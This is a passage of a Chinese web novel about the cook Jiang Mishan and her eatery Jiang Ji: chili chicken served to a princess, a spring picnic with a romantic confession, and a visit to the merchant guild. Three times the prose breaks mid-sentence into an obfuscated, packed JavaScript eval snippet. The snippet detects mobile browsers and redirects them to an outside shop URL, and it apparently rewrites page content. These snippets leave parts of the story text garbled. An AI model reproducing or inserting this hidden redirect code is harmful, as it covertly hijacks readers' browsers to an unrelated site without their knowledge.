三位厨师是秋末从河州来的，那里夏日闹涝灾，一家几口是剩她们独自活着，便一路逃荒，她们是分别是三家的媳妇，一路做工，预备一路进京投亲。 等到了京城，看见同样有妇人沿街挑担子做买卖，其中一人说何必寄人篱下，为何不在京中自力更生，三人一路的盘缠用完，便去了人市。 凑巧，遇上了买人的江弥杉。 江弥杉问了一圈，得到的回答大同小异，暗叹没有看错人。 如此下去，再过不久，新来的白歆、秦桦、李珠就能单独烹饪了。 又分别可以带学徒…… 江记的人员储备也算没有什么问题了。 江弥杉又回到后厨，走到捏饺子的白歆三人身边，轻声道：“做的不错，但还可以更好。” 白歆与秦桦红了脸，说话的是李珠，虽红了耳朵，但还道：“多亏了姜绮、姚丹与姚青三位妹妹，是她们教了我们许多。” 她们都住在食肆里的大通铺，床被衣料都是江姑娘给的，那样好的布料布料，竟穿在了她们身上。 三位妹妹说，江姑娘待人很好，对烹调很是用心，跟着江姑娘能学到很多。 只是有几个可恶的老板，总想着来挖人，让她们千万不要相信，三位妹妹和那位不爱说话的方姑娘就是从那些出高价雇人的酒楼食肆逼的跑出来的。 姜绮三人正在忙烧菜，轻笑着转过头：“你们也很聪慧呢。” 江弥杉跟着扬声，竖起大拇指道：“你们都很不错！” 方万宜捏着饺子，唇角也浮上一抹笑意。 夸奖完，江弥杉走到灶台边，舀水洗干净手，来至方万宜身边，捏起一片饺皮，盛肉捏饺子。 方万宜轻声道：“姑娘，我们的运气不错。” 江弥杉也同样觉得，偏偏是食肆酒楼不要的，偏偏让她们又遇上了，还都是好相处的性格。 江弥杉笑回：“运气不错是基础，还有万宜有眼识珠。” 方万宜忽然觉得耳热，垂下眼眸：“是姑娘做得决定……” 江弥杉无言轻笑，一面捏起花饺，一面又祈祷江记将来。 ＊ 入夜，江弥杉带了一份花饺回家，端去了祠堂。 洗漱后，江弥杉盘膝坐在榻上，手里握着一个陶土人。 她手间的陶土人装扮华丽，五官与她相似。 江弥杉凝望着陶土人，这个陶土人是她拖玉欣怡做的，前几天刚收到。 她的要求是做一个和她一模一样的陶人，衣着往华丽塑。 江弥杉独自絮絮叨叨：“江姑娘，现在你的身边有很多人，也有很多朋友，我们的酒楼也做的很好，这是我们一起达到的成就。” ：“我也拖你的福气，拥有了很多东西。” ：“但愿，你能喜欢我们的这段人生。” ：“我会努力把江记做成京城第一的食肆，让江弥杉的名字在京城传出佳名。” ：“让江弥杉的名字成为京中首位。” 说完，江弥杉又对着陶人恍然地一笑，她就是想说这些，无论江姑娘能否听得到。 54. 辣椒炒鸡 元宵过后，江记食肆在鞭炮声炸响中重新开张。 尚仁街热闹非凡，食客络绎不绝，京城几家头部食肆、酒楼的掌柜又坐至一桌。 ：“无论如何，她若想盖第三层，就必须入商会，我们只要一直不同意，她也没辙。” ：“胡掌柜那边……” ：“胡掌柜那边我们都去提一提，以免生出后患。” ：“鲁兄说的正是。” 商讨完入会的事，其中的吴掌柜喝口茶，疑问着说：“我实在不解，周记墨坊那样的铺面，她盖起第二层不到一年，如何盘下来的？” 鲁旺挑眉，语带深意：“你觉着呢？” 浮想联翩一阵，李掌柜捏着胡须，啧啧感慨：“她的确生得副好皮囊啊~” ：“怎么，喜欢啊？” ：“人家怕看不上你。” 李掌柜煞有其事地反驳：“我好歹也算是富商！” 彼边，江记食肆外又排起两条不长的队伍，路人走过，瞧见此处排队，也不免好奇，上前探问，听得这家食肆吃食极其可口，正值饭点，便打算一尝，在后排下。 两间店面全部坐满，厨间各司其职，井然有序地往外传菜。 尚未营业前，江弥杉将今天的推荐菜演示了遍。 她先将鸡看成小段，加入料酒、酱油腌制，接着，她放下一把干辣椒加水煮软。 江弥杉捞起空干水的辣椒切成段，又放入石舂内，她接着放入适量的姜蒜片，随后用力舂打。 辣椒舂打成稀泥，又与姜蒜融合，冲辣的味道立刻蛮不讲理地侵入人的鼻息。 厨间的人都站在一旁仔细看着，辣椒炒鸡他们见过，但做成这般的辣椒炒鸡却没见过。 江弥杉接着起锅烧油，一锅将鸡倒入宽油慢炸，一锅则将舂泥的辣椒放入，她又继续了草果、茴香、香叶等香幸料混入辣椒中，加少量水、冰糖、高汤翻炒成浓稠的辣酱。 最后，江弥杉将鸡倒入红火的辣酱中翻炒。 午饭吃得便是辣椒炒鸡，又香又辣，唇舌被灼热，香辣的味道占据了这个脑袋，但是根本欲罢不能，极其下饭。 这会儿，江弥杉又走在厨间查看个人的操作，她正与两位学徒说着辣椒泥的标准。 ：“不能太稀烂，也不能太粗，当你看不见片，又辣椒能够呈糊妆黏在舂棍上，闻见姜蒜味儿时，就刚好。” ：“再舂十二下，这一批就可以了。” 两位学徒点头，又继续握起舂棍，落下。 此时，兰香忽跑进厨房，先将菜单挂在墙上，再快步走到江弥杉身边。 江弥杉看她慌忙，便问：“怎么了？” 兰香不知该怎么称呼那位贵人，说姓的话，那时天子的姓，说名，又不合规矩，说封号也不太好。 她只压低声，凑近江弥杉的耳畔，细声细语：“宝和长公主请姑娘去二号包房一见。” 今天的来客是几位眼熟的，比如欣怡姑娘与赵世子，还有花家的两位老夫妇，还有些国子监的学员…… 江弥杉呆在厨间没有出去，也没想到嘉容今日会来，但既然要见她，那一定有事情要和她说。 江弥杉没有拖延，：“好，我知道了。” 说完，江弥杉便去舀水洗手，水不好擦在围裙上，便拿出袖中的软帕擦干净手，忙走出厨间。 二号包间内，嘉容与訾宜正吃小口着草莓蛋挞。 訾宜很喜欢这香香甜甜，又带草莓酸甜的甜点，吃了一勺后，与公主婶婶道：“婶婶，真好吃呢！” 赵嘉容莞尔笑道：“喜欢，我们便带一份回去。” 訾宜笑眼盈盈，点头：“嗯，分奶奶与娘也吃！” 忽传来咚咚两声门被敲响的声音，嘉容又道：“进来吧。” 门被推开，江弥杉走进包间，到赵嘉容身边。 她轻声道：“长公主午好。” ：“訾宜午好。” 赵嘉容：“江姑娘午好。” 秦訾宜甜甜道：“江姐姐午好。” 赵嘉容前几日就派人来查看江记是否开业，虽在年末收到了分成，但碍于雪天，不便请江弥杉到府上，因此一直未见。 派去查看消息的人抱回消息，说江记二十五开业，这会儿是两家店铺合成一家，她便晓得，与母后提的事成了。 今日来一看，虽两家店铺合成了江记食肆，但食客依旧不绝，赵嘉荣更确信她的想法，的确有益与弥杉扩张。 赵嘉容笑道：“江姑娘生意兴隆呢。” 江弥杉回：“多亏能盘下铺面，否则，费力加盖也未必当下的规模。” 赵嘉容如实说：“是我与筹办嫁妆之人提议的，周记墨坊我逛过，铺面的确不错，与其置办诸多铺子，不如直接将这处铺子转与你。” ：“你可还满意？” 江弥杉一愣，她没想到这竟然是嘉容的主意，原来嘉容早就有所留意！ 江弥杉心里涌起感激，她点头：“满意，很是满意，多谢长公主，否则，我真不知该如何是好了。” 訾宜扬起笑脸，流利地说：“我与婶婶还去逛了旁边的李记伞铺，可惜它太小了，客人坐不下多少。” 江弥杉：“……” 赵嘉容轻笑解释：“其实，驸马不当值时，想与同僚到此用饭，但总排不上，与我抱怨了几回，我便想着若是能在扩一些，应当不错。” 訾宜补充：“嗯嗯，小叔叔想吃辣汤烫菜，一回都未排上。” 江弥杉听了缘由，哭笑不得，两层的食肆虽然餐位翻了一倍，但因为生意不错，备的辣汤、菜蔬用的都很快，因此时而即便外面还在排队，食肆也不得不售罄打烊。 没想到，秦驸马来得会每次都不巧…… 江弥杉不知道该什么，便先表达歉意：“实在不好意思……” 秦訾宜摇头，先道：“是小叔叔运气不好，我与婶婶来，回回都排的上呢。” 赵嘉容轻笑一声，无奈地摇头。 江弥杉：“……” 此时，门又被敲响，随后丹珠推着小车进来上菜。 赵嘉容依旧将今日的菜都点了，满满一桌菜，江弥杉也帮着丹珠将菜端上桌。 上完菜，江弥杉依旧留在包间中，跟嘉容和訾宜介绍今天的推荐菜。 ：“这是辣椒炒鸡，是香辣口的，寓意红红火火，辣味适中，二位可先尝尝是否能食下。” ：“若是不行，也可外带回去。” 红油油的一盘，只闻就能感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200195|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香辣，鸡块被辣红的酱浸染成亮眼的橘红，但却不绝得呛，而是感到胃在被着道诱人的香辣味挠痒。 赵嘉容擅长吃辣，很大部分原因来自于太后是蜀地选上的绣女。 那是太后虽并不是最得宠的嫔妃，但依旧有自己的小厨房，每日都会有辣菜上桌。 再到后来，太后逐渐得势，那是还是王爷的皇帝在朝廷上展露头角，宫里的御膳也会按着太后的口味烹调。 赵嘉容先与訾宜道：“我先尝尝，若太辣，你便涮水之后再吃。” 秦訾宜乖乖点头，其实她很想吃原味，但家里不常吃辣，也不好违背公主婶婶，便等待嘉容尝味。 赵嘉容夹起一块鸡肉，拖着小碟，送入口中。 香辣的味道宛若千万支火/箭，一下放散开来，穿过舌、齿，进入到鼻息，又一个劲儿的往上攀升，直达她的脑海。 这股冲劲儿，并非依靠尤其重的辣味，而是将不浓烈的辣在香味的催化中，造成更绚烂的味道，随后一飞而上。 鸡肉也被香辣浸透，内里不单调，甚是香嫩。 红红火火，真是甚为贴切呢。 赵嘉容细嚼慢咽下一块，感觉舌尖的香辣味还留有余韵，宛如点点火星，挠着舌，迫不及待地想接着吃下一块，再下一块。 但赵嘉容忍下了，她端茶浅抿一口，才与江弥杉道：“很美味，我从未吃过如此口味的辣椒炒鸡。” 江弥杉打量着赵嘉容染着惊艳的眸光一绽，也猜到她应该吃得惯。 做的时候江弥杉就没有一味的追求爆辣，因为并不适合所有人。 江弥杉笑回：“姑娘喜欢就好。” 訾宜期待地望向婶婶，她真的很想吃，适才都没有动其他的菜。 赵嘉容放宽了条件：“訾宜不可光口吃。” 江弥杉笑着走至秦訾宜身边，端起她的干净的碗，去添饭：“秦姑娘吃多少？” 秦訾宜：“一碗就好了，多谢你。” 秦訾宜端过米饭，就迫不及待地夹来鸡肉，放至放上，稳稳挑起饭，送入口。 好香好辣，可有了莹润的米饭，吃起来又微微带甜，有了米饭的缓和，辣味即便沾到舌头也不烧，甚是可口呢！！ 秦訾宜吃完一口，也现喝一口茶水，杏眼亮晶晶的。 ：“好呢，真的很好吃！！” 江弥杉唇角满意地扬起，：“二位慢用，有和事摇铃就好。” 江弥杉离开后，嘉容唤进侍女，：“去点一份外带的辣椒炒鸡，送给驸马。” 侍女回是，退出包间。 赵嘉容才继续用饭，又夹了炒冬笋、溜肉段、火腿三丝等几样菜各尝了味，每一道味道就极好，她又夹给訾宜。 ：“莫要只吃炒鸡，其他菜也吃些。” 訾宜点头：“嗯嗯，多谢婶婶！” 又过不久，赵嘉容带着訾宜乘车回府，又点了蛋挞、鸡蛋糕带回。 彼边，秦誉泽收到了侍卫送来的食盒。 ：“奉长公主命，特送来给驸马。” 秦誉泽：“这是？” ：“长公主今日到江记用饭，特点的菜品，驸马慢用。” 秦誉泽：“……” 怎么就他就排不上！！ 56. 踏春食记 踏春的前一日，江弥杉约着方万宜买了些肉蔬，准备起春游的“零食”。 吃过午饭，江弥杉熬了锅卤水，下入鸡翅、鸡腿、鸭腿卤制。 卤货在灶上咕嘟散香，江弥杉从水盆里捞出方万宜切成薄片的土豆，分成三份，用竹篮沥水，接着又往炉灶里添了些柴火，往锅里倒油。 兰香抱着篮晒干的笋片，才走进屋就闻见香味，她将竹篮放至摆放着干货的木架上，走至灶边。 兰香看一眼灶台上的几碗香料沫，又望薄薄的土豆片，想到了常吃的零嘴。 ：“姑娘要做炸土豆片啊？” 江弥杉：“嗯，做成孜然、辣椒和番茄口的。” 兰香：“姑娘都要带去吗？” 江弥杉：“只各带一些，其他留在家里。” 不算上李定卓与章文安准备的水果、干果与饼子，带去的零食已经很丰富了，卤货、奶油麻花、土豆片，还有主食饭团。 此生时，方万宜从储物间里走出，端着碗牛乳。 兰香目光又落至方万宜身上，打量起她淡色的衣着。 平日里万宜的装扮总是以素净为主，虽然有些艳色的布衣料，但也不见她穿，姑娘订首饰头面时，万宜也只是素净的小花，平日时平日，可明日不同啊。 兰香眼珠转了个圈，正要说话就被方万宜抢了先。 ：“你瞧着我做什么？” 兰香又挪至方万宜身边，看她揉面，笑道：“再想明日怎么帮你打扮。” 方万宜：“……” ：“只是普通的踏春而已，何须如此？” 兰香并不赞同：“以我看话本、听书的过往来看，这绝不是一回普通的踏春，我与你打个赌，章公子必然会趁此机会与你表达心意！” 江弥杉转过头，望向面色顿时泛红的方万宜与老道的兰香，忍着没笑，听到油噼啪两声，又转回头，将土豆片倒进锅里。 有人的确已经提前和她打招呼，请她稍微突然有事，带着李定卓去其他地方逛逛。 这……还真不是一回普通的踏春！ 方万宜装作没有听到，虽不知是否有这回事，但表达心意私下说就好了，还特意约踏青。 章文安必然是晓得她不会单独出去，因此还特意约了弥杉！ 她低头用力揉面，耳廓却烧的火红。 兰香继续道：“所以，明日我为你好好打扮一番。” ：“我们万宜还是有几分滋色在的，对不对，姑娘。” 江弥杉翻动着油泡间灿黄的土豆片，肯定道：“对~” 方万宜耳朵更红了：“……” 兰香得了认同，嘿嘿笑了几声，心想还好她要去听书，否则就会夹在姑娘与李大人，万宜与章公子之间，去那边都不好，还是听书、逛街最适合她。 看方万宜难得害羞，兰香也不再多调侃，帮着万宜搅牛乳。 锅里的土豆片逐渐发脆，江弥杉捞起土豆片，抖几下漏勺，叠在一起的土豆片便咔咔脆响。 灿黄的土豆片当下略微膨胀，油光还在余热中嘭的一亮。 她望着油，想到表达心意的事。 主食她原本是只打算做紫菜包饭的，但李定卓却说想尝尝炸鸡饭团。 她好奇怎么李定卓会提这个，一细问才晓得，原来他早在和她坦白之前就已经惦记上了，为此还醋得没味口吃饭，做了出格的事。 江弥杉听完只道：“谁让你说是为了报恩的，你当初若早些说实话，还会醋炸鸡饭团？” 李定卓沉默了片刻，低声道：“是我高估自己。” 哎。 油温又升起，江弥杉停止回忆，收回目光，她拿过漏勺，将已炸脆的土豆片倒入油中继续翻炸。 * 翌日，风轻日暖，山间迎春招展暖朵，鸟雀脆鸣回荡林间，滑过嫩绿掩映的树梢。 江弥杉挽着李定卓绕出花田，又好奇地望一眼在田中漫步的两人，唇角忍不住上扬，低笑一声转回头。 刚才在花田，章文安眨了数下眼睛，暗示两人离开，江弥杉便假借去卖茶的小摊休息，拉着李定卓离开。 江弥杉低声道：“真会选地方，挑在花田坦白。” 李定卓：“他提前就来过了。” 江弥杉诧异地抬头，对上李定卓的目光，：“真的？” 李定卓点头，说起章文安一路的小心翼翼：“他特意走来这片花田，一路什么也不吃，只喝水，怕牙齿渣着残渣，开口时惹方姑娘反感。” 江弥杉低声道：“万宜没这么挑剔。” 她倒是有可能······ 李定卓没将章文安请教他如何袒露心意的事情说出，他的经历，似乎也没有多少参考价值，细节是如何，他更不想透露，只说了句如实说就好。 李定卓：“那是他的事。” 江弥杉无言轻笑，对这桩事，她一直秉持着不过多撮合的心态，许多的事情都会随着时间慢慢改变，最坏的结果就一拍两散，形同陌路，就像脑袋里有两个小人，一个在说要相信爱情，一个又在说不要被爱情冲昏头脑。 她能做的，就是尽可能地去让自己的生活不止有爱情。 江弥杉：“是啊，那是他的事。” 两人往前走着，李定卓垂眸扫过江弥杉背后鼓鼓的布袋，这样的布袋，他也背着一个，里面装着些水果与糕点。 万峰山中并非没有食摊，其中大多食摊卖的是山茅野菜、池鱼虾蟹，谈不上可口，只是吃这份自然之味，踏春赏花，沿着山路而进，吃上口野菜粥饭，感觉兴许不错。 但弥杉有自己的主意。 ：“你们想想，走累了，铺一张布在草甸之上，将吃食都放在上面，大家围坐着，一起吃饭卷、饮果汁、品点心，然后边玩纸牌，边吃食物，多畅快啊。” 李定卓收回目光，：“我想吃饭团。” 江弥杉：“炸鸡的？” 李定卓目光沉浮，：“嗯，炸鸡的。” 江弥杉停下脚步，从背后拉过书包，解开系着的袋子，从一片高低错落的食物中拿出油纸包着的饭团，上面还写着胡椒鸡，笑眼盈盈地抬手递给李定卓，：“这个加了胡椒炒的酱料，不辣。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272840|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李定卓接过饭团，握在手心，饭团是个厚三角，刚好占满手掌，不大不小，填饱肚子兴许还差些，但用作垫底就很合适。 李定卓握着饭团，却没有打开，而是望着往四周观望了片刻，四处本是无人的，但山道间的忽从树影后窜出几个游玩的人，他握紧饭团，又收回视线。 江弥杉又从书包里翻出条手掌长的麻花，拖李定卓拿着，低头系书包袋子。 ：“其实还可以带拌米皮的，只是调料不好装，否则就能将米浆蒸成薄皮，过一道水装盒，在用姜蒜、酱油、醋与辣油调个拌汁，放一些豆芽、韭菜、萝卜丝，一起拌了吃，酸酸辣辣，我能吃满满一盒。” 小时候春游的时候，她都会有一盒凉面或者米粉，长大了去露营，就吃烧烤火锅。 但林中燃火风险极高，备菜也不方便，这个想法也就只停在想的晨读。 李定卓听着，也随江弥杉的话语想象着，那似乎是简单的凉拌吃食，米皮软凉，遇上醋的酸，辣油的麻辣，再有爽脆的菜蔬点缀，该是十分可口的。 万峰山兴许满足不了，但也并非是没有地方。 李定卓眼中浮上笑意，：“不难，我在京郊外有温泉山庄，是皇上年初赐我的，你说的拌米皮，应该能做。” 江弥杉诧异地抬头，：“温泉山庄？” 皇帝也太大方了吧！ 李定卓：“嗯，天然温泉，我还没去过。” 江弥杉系上书包袋，拿过麻花，想着一些看过的小说，思索起温泉山庄的事，虽然是赐的，但是未必不会有人以此为话头挑起风波。 ：“你······不会因此被参奢华无度吧？” 李定卓没有想到江弥杉会想到此事，不由一愣，随后低低笑了声，剥开油纸，露出其中尖尖一角，白润的米饭，金黄的鸡肉，只看着记格外美味。 李定卓语带坦然：“我之所有，要么是积蓄所购，要么是皇上赏赐，若是有一丝奢华无度，等不到今日，我已经不是指挥使了。” 江弥杉：“······” ：“之前不会，往后，更不会。” 江弥杉咬一口甜软的奶味麻花，觉着这话太过肯定，人心隔肚皮，说不定就有人呢！ 李定卓拿起饭团，看着她眼中飘过的各色情绪，半是玩笑地道：“有你在，我不会去做。” 江弥杉吃完，捏着麻花，：“我相信你，我也不会去做的。” 想到某些人口中的另寻他路，李定卓微微一笑。 :"日后想奢华一回，也只能靠我了。" 江弥杉笑着调侃完，又咬一口麻花，抬眼望向李定卓，他也只是淡淡一笑，跟着咬一口饭团，四目相视，笑意就不住涌上了眉眼。 饭团与米饭有何区别，他说不上来，但炸鸡与炸鸡的区别，冷热之外，兴许是当初心中酸意作祟，即使当初是热的炸鸡，也食之无味。 而凉凉的鸡肉吃起来甚是香嫩，甚至无形间，他似乎感到了甜，一道可以钻入心中的甜，这是无法用糖、蜂蜜达到的。 炸鸡与饭团，的确美味。 57. 踏春下 分散的两对人在正午时先后到了万峰山的一处草甸，一旁环着银带似的弯弯溪水，岸旁野花点点，随风慢舞。 方万宜与章文安正在河畔边，章文安弯着腰在溪流中捞石子。 江弥杉牵着李定卓，才走入草甸，远远就瞧见河畔边两道人影，万宜笔直站着，章文安则弯腰似在溪流里捞着什么。 下一刻，章文安就捞起块石子，兴奋地送至方万宜眼底。 见章文安滔滔不绝地似乎还在什么，虽看不见方万宜的表情，江弥杉还是松了口气。 平时在家或者店里，最多就是兰香闹闹万宜，包括今日一大早兰香就去万宜屋里，用心为她打扮。 其余时候，万宜鲜有太大情绪波动，平淡且安静地做自己的事。 她嘴角微扬，仰头与李定卓道：“你看，万宜就受得了。” 李定卓望着章文安滔滔不绝的模样，平静地说出几年来的感受：“他说事向来如此，大多时候，一说就没完没了。” 江弥杉思索着，李定卓要比万宜还要冷、静，兴许在李定卓的印象里，章文安就像只蜜蜂，在他耳边嗡嗡闹人，忍无可忍时，他才出声打断。 江弥杉轻笑：“兴许章公子也是担心你太闷了。” 李定卓目光望着远处的高影：“兴许吧。”顿了顿，他又道：“再收敛些，未尝不可。” 江弥杉：“……” 此时，章文安正好转身，见人到了，扬声道：“李定卓你也太慢了！！” 方万宜望向牵手走来的两人，默默无言，一时间不知该和章文安说些什么好。 铺起软布，四人各自将布袋里的吃食取出，蔬果饭点摆满整块布。 章文安震惊地望着木盒里被油纸包着的各色吃食，再想到他和李定卓闲暇去散心的简易，不住感叹：“万宜，江姑娘，你们平日里外出游玩，也是如此？” 李定卓无言端起果茶抿一口，茶香与酸甜的果味相融，竟也很合适。 方万宜先答：“嗯，不过吃食不会如此丰富。” 江弥杉：“这得看情况，若是泛舟游湖的话，还会备烤鸡肉、凉拌的吃食，若是船家有炭盆，也会钓鱼烤了吃。” 章文安深感从前潦草：“如此才是郊游啊……” 说完，他杵杵李定卓：“你看看！” 李定卓还端着茶，怀疑的目光随风送去，沉默地望着章文安。 章文安跟着心虚，低咳两声，佯装无事地笑说：“我饿了，我得每样都尝尝！” 说完，章文拿起筷子，先夹饭圈放进方万宜的餐碟中，才去夹小圆堡。 江弥杉微微挑眉，回过神就见李定卓夹了个卤鸡腿过来。 江弥杉眼梢漫上笑意，夹了绿豆糕送给李定卓。 吃食可口，风景宜人，四人又交谈起来商会的事。 章文安捏着鸭腿：“商会可不好进，里面的人刁钻的很。” 李定卓颔首：“这也是京城中，三层之上的食肆酒楼不多的缘由所在。” ：“再者，他们对江记早有防备之心。” 说完，李定卓目色沉沉，他望着江弥杉，以最坏的想法去揣测，那兴许便是江记被联手打压，断绝江记的威胁。 或是，与弥杉提出各种刻薄要求，以此入会。 无论是那条，进入商会都不容易。 这些弥杉必然明白，也必然有所应对，否则她绝不会草率决定加入商会。 他能做的，便是在她有需要时，站在她身后。 江弥杉深知其中的弯弯绕绕，但让江记只停留在当下，她不会接受，也不会就此停下。 江弥杉：“总得去试试，否则如此就放弃，也太没道理了。” 方万宜深吸口气，京中的酒楼与食肆若是往上加盖，须有商会的印书，若是少了印书，即便盖起，也会被封店。 无需细想都晓得，那几位必然已经打定主意，无论如何都能不会同意。 为首的不同意，那么余下的，必然也不会为了江记去得罪他们。 方万宜望向弥杉，她并不诧异，弥杉对江记，从来都不是满足现状，只要有机会，弥杉都会扩张江记。 她目中浮上担忧，商会的为首的几位与长公主、墨坊的老板都不同，他们就像裂开的石缝，不会轻易地让机会闯过，落到弥杉手里。 除非…… 方万宜扫一眼喝茶的李定卓，又想到江记的贵客。 下一刻，她又否定了想法，弥杉并非是如此借权势压人的性格。 江弥杉微笑着：“我还年轻，一年不行，我就第二年继续，日子多着呢。” 嘴上如此说着，但江弥杉心里却想的是另一种安排，如果一直和商会耗着，不仅浪费时间，也不利于江记进一步扩张。 如果真逼急了，对方以势欺人，她也不会就此忍受。 以势欺人，她也不是没有势的人。 她得早些入会，让江记有扩张的资质，与此同时，扩大员工的储备。 将江记做大做强，成为京中第一的食肆。 李定卓唇角微微扬起，眸中满是坚定的信任，他心中明白弥杉为何会答应今年成婚。 入会的事，弥杉必然不会拖得太久，她需要将更多的精力投入于江记，而不是忙于同几个老头周旋。 江弥杉无意瞄到身边的李定卓，见他不担心，反倒有种此事一定会达成的信任，她心念一动，猜到李定卓应该明白她的所想。 江弥杉展颜而笑，夹过块紫菜包饭，：“更何况，我并非是一人，我身后，有你们，和许多支持我的人呢。” 方万宜对此话出乎意料，她吃卷饼的动作停下。 章文安已经激动地说了对，方万宜目光滑过身旁拍草的人，又带着诧异地望向江弥杉，一时间便没有太深的担心。 ：“姑娘说的是。”方万宜微微笑着，道。 ＊ 四人从万峰山回到京城，又在一个酒楼吃过晚饭才告别。 回家时，天色泛橙，天角处一轮红日亮眼至极，但很快也消失了。 兰香还没有回来，江弥杉与方万宜先将所用的器物洗干净，泡了壶茶，在树下欣赏绚丽的天色。 方万宜仰望着天空，天空如此绚丽，只在这四方院落中。 她轻声道：“姑娘，我这辈子，幸运的事很少，能够遇上姑娘，便是一件。” ：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295203|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚从酒楼出来时，我心想这辈子大约再无可能站在厨灶前，做出令食客欣悦的吃食。” 方万宜又望向江弥杉，认真说着心中积攒已久的执念：“姑娘，我会与你们一起努力，让江记超过鲁旺的酒楼，我也会继续研究烹饪，胜过曾经酒楼的厨师。” 江弥杉没有想到方万宜会说出来这样的“争强好胜”话，眨眼睛的诧异过后，她感觉离方万宜更近了些。 这兴许是方万宜心里一直憋着的一口气，她从未忘记过在鲁旺那里遭受的一切，并以此激励着她前进。 江弥杉转头，展颜笑应：“好啊，我们就先超过鲁旺，再让他们追不上江记！” 方万宜微微笑着，语气很坚定：“也追不上我们。” 江弥杉欣赏地连点两下头，还未来得及说，就被万宜打断。 ：“不，他们已经追不上姑娘了。” 江弥杉摇头：“世上无难事，只怕有心人，只有一直往前走，才会减少被追上可能。” ：“就如比起最初你到江记时，当下的你，往前走了很长一截路。” ：“兰香也更稳重不是？” 江弥杉回忆着最初见到兰香的情景，又补充：“也更活泼了。” 提到兰香，方万宜唇角笑意加深，：“嗯。” 她想起今日章文安看呆的模样，又回忆兰香为她梳妆时的念叨。 ：“哎呀，这怎么能是以色示人呢，姑娘说了，可打扮，也可不打扮，这是一种自由！” ：“但是，今日你必须听我的，打扮的漂亮些~” 此时，忽传来门被推开的声音，还未见人影，就飘过一声问：“你们如此早就回来了？” 兰香推门走进，挂上门梢，手里还提着物件，快步到桌边坐下。 江弥杉将倒好的茶端至兰香身前，：“累了，逛不动街，就回来了。” 兰香嘿嘿笑两声，望向方万宜，期待地问：“怎么样，是不是和我说的一样，章公子与你表达心意了？” 方万宜想岔开话题都晚了一步，只好承认：“是，你说对了。” 兰香：“哼哼，我除了猜错了李大人那回，还没有错过呢。” 方万宜：“……” 江弥杉：“……” 兰香端起茶抿一口，说起这个，又想到今日街上见到的另一件事。 ：“这都是过去的事了，我今日去茶馆，还见到秦公子娶亲了。” ：“好大的阵仗，听人说新娘子是礼部尚书的小女儿，好像姓庄，据说是位才女呢。” 江弥杉才想起卢灿宇说过的表哥成婚，家里忙着张罗布置，顺带还送了几袋喜糖给她。 原来就是今日。 江弥杉总结为才子配才女，门当户对，娶到心仪的姑娘，也是一桩美事。 方万怡想起来些细枝末节：“这位庄姑娘，也爱品味佳肴，与秦公子相似。” 兰香：“你们不知道，秦公子可是京中的热饽饽。” ：“啊？”江弥杉与方万宜异口同声。 兰香：“我听茶馆里的人说的，真是一家欢喜，几家憾呐。” ：“是这么说的。” ：“……” 58. 酸笋鱼片 清明后的第五日，吃过早饭，兰香与方万宜先去食肆，兰香还是有些放心不下，一人去商会，那不就是单枪匹马闯狼窝，也不知入会是否能顺利。 出门前，兰香趁方万宜去拿薄荷丹，凑至江弥杉身边，：“姑娘，若是他们为难你，你千万不要独自扛着，回来我们一起想办法。” 三言两语，江弥杉听得心暖，她笑着拍拍兰香肩膀：“好，我记住了。” 兰香看方万宜出来，：“那我们先去食肆了。” ：“去吧。” 送走兰香与方万宜，江弥杉去屋里拿上入会的申请文书，也出门往商会去。 申请入商会的流程并不复杂，先需要去胡记登入食肆名与掌柜，每月初十、二十带着文书参加商会的晨会，由会长与会员一齐商讨决定。 卡住人的往往就是最后一步，不通过的说法大同小异，比如店面太小，客流量不大，江弥杉提前打听过，心里五味杂陈，这些问题江记并不存在，若说口碑，江记也并不缺，但看到登名的人听到江记食肆时眉头一跳的神情时，江弥杉直觉这件事情并不简单。 江弥杉漫步至商会，由丫鬟引路，走到晨会厅堂前的院落，排在几个申请入会的掌柜的座位后面。 一队里，男掌柜占一半多，女掌柜只有两三个，大家互不说话，只静静站着，等待传入。 站了一会儿，走进个年轻公子，江弥杉只瞟了一眼，人都没有看仔细就收回视线，继续扣手，因而丝毫未留意到那位男子落在她身上的打量目光。 会议只进行了一盏茶的功夫，但江弥杉也没听出什么名堂，比起会议，她觉得更像是喝茶，然后闲聊几句，没有任何值得认真听得要点，本是没那么困得，半天没有听到有用的地方，困意就爬上了眼帘，她只好端茶解困。 申请被收走后，江弥杉也随着掌柜们走进厅堂。 堂内只坐着十多人，头几个，江弥杉都眼熟，因此一眼就看尽了他们不怀好意的目光，仿佛是在观赏一件唾手可得的物品，但目中的鄙夷与轻视几乎毫无掩饰地就落在她身上。 江弥杉只当没看见，也并不好奇他们究竟在想什么。 